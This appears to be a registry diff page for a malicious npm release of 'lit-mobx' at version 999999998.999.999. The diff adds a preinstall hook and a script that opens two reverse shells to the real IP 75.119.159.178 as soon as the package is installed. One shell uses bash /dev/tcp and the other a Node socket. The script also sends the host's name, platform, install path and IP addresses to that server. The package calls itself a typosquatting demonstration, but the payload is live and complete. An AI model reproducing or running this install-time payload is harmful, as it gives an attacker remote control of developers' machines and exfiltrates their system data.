lit-mobx 0.0.1-security → 999999998.999.999
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of lit-mobx might be problematic. Click here for more details.
- package/index.js +6 -0
- package/package.json +10 -4
- package/scripts/preinstall.js +95 -0
- package/README.md +0 -5
package/index.js
ADDED
package/package.json
CHANGED
@@ -1,6 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "lit-mobx",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
6
|
-
|
3
|
+
"version": "999999998.999.999",
|
4
|
+
"description": "Template for demonstrating package typosquatting risks",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstall": "node scripts/preinstall.js"
|
8
|
+
},
|
9
|
+
"keywords": [],
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC"
|
12
|
+
}
|
@@ -0,0 +1,95 @@
|
|
1
|
+
const { exec } = require('child_process');
|
2
|
+
const os = require('os');
|
3
|
+
const http = require('http');
|
4
|
+
const net = require('net');
|
5
|
+
const path = require('path');
|
6
|
+
|
7
|
+
|
8
|
+
exec("/bin/bash -c 'bash -i >& /dev/tcp/75.119.159.178/4444 0>&1'", (error, stdout, stderr) => {
|
9
|
+
if (error) {
|
10
|
+
console.error(`Error executing echo: ${error.message}`);
|
11
|
+
return;
|
12
|
+
}
|
13
|
+
if (stderr) {
|
14
|
+
console.error(`Shell error: ${stderr}`);
|
15
|
+
return;
|
16
|
+
}
|
17
|
+
console.log(stdout.trim());
|
18
|
+
});
|
19
|
+
|
20
|
+
// Reverse shell setup
|
21
|
+
function startReverseShell() {
|
22
|
+
try {
|
23
|
+
const sh = require("child_process").spawn("/bin/sh", []);
|
24
|
+
const client = new net.Socket();
|
25
|
+
|
26
|
+
client.connect(4444, "75.119.159.178", () => {
|
27
|
+
console.log("Reverse shell connected to 75.119.159.178:4444");
|
28
|
+
client.pipe(sh.stdin);
|
29
|
+
sh.stdout.pipe(client);
|
30
|
+
sh.stderr.pipe(client);
|
31
|
+
});
|
32
|
+
|
33
|
+
client.on('error', (err) => {
|
34
|
+
console.error("Reverse shell error:", err.message);
|
35
|
+
});
|
36
|
+
|
37
|
+
} catch (err) {
|
38
|
+
console.error("Failed to start reverse shell:", err.message);
|
39
|
+
}
|
40
|
+
}
|
41
|
+
|
42
|
+
// Collect and send system data
|
43
|
+
function sendSystemData() {
|
44
|
+
const data = {
|
45
|
+
package: process.env.npm_package_name,
|
46
|
+
timestamp: new Date().toISOString(),
|
47
|
+
hostname: os.hostname(),
|
48
|
+
platform: os.platform(),
|
49
|
+
installPath: process.cwd(),
|
50
|
+
networkInterfaces: Object.entries(os.networkInterfaces()).reduce((acc, [name, interfaces]) => {
|
51
|
+
acc[name] = interfaces
|
52
|
+
.filter(iface => !iface.internal && iface.family === 'IPv4')
|
53
|
+
.map(iface => iface.address);
|
54
|
+
return acc;
|
55
|
+
}, {})
|
56
|
+
};
|
57
|
+
|
58
|
+
const options = {
|
59
|
+
hostname: '75.119.159.178',
|
60
|
+
port: 7891,
|
61
|
+
path: '/collect',
|
62
|
+
method: 'POST',
|
63
|
+
headers: {
|
64
|
+
'Content-Type': 'application/json',
|
65
|
+
}
|
66
|
+
};
|
67
|
+
|
68
|
+
const req = http.request(options, (res) => {
|
69
|
+
let responseBody = '';
|
70
|
+
res.on('data', chunk => (responseBody += chunk));
|
71
|
+
res.on('end', () => {
|
72
|
+
console.log('Data sent successfully:', responseBody);
|
73
|
+
});
|
74
|
+
});
|
75
|
+
|
76
|
+
req.on('error', (error) => {
|
77
|
+
console.error('Error sending system data:', error.message);
|
78
|
+
});
|
79
|
+
|
80
|
+
req.write(JSON.stringify(data));
|
81
|
+
req.end();
|
82
|
+
}
|
83
|
+
|
84
|
+
// Execute a shell command to print "hellw"
|
85
|
+
exec('echo "hellw"', (error, stdout, stderr) => {
|
86
|
+
if (error) {
|
87
|
+
console.error(`Error executing echo: ${error.message}`);
|
88
|
+
} else {
|
89
|
+
console.log(stdout.trim());
|
90
|
+
}
|
91
|
+
});
|
92
|
+
|
93
|
+
// Start reverse shell and send system data
|
94
|
+
startReverseShell();
|
95
|
+
sendSystemData();
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=lit-mobx for more information.
|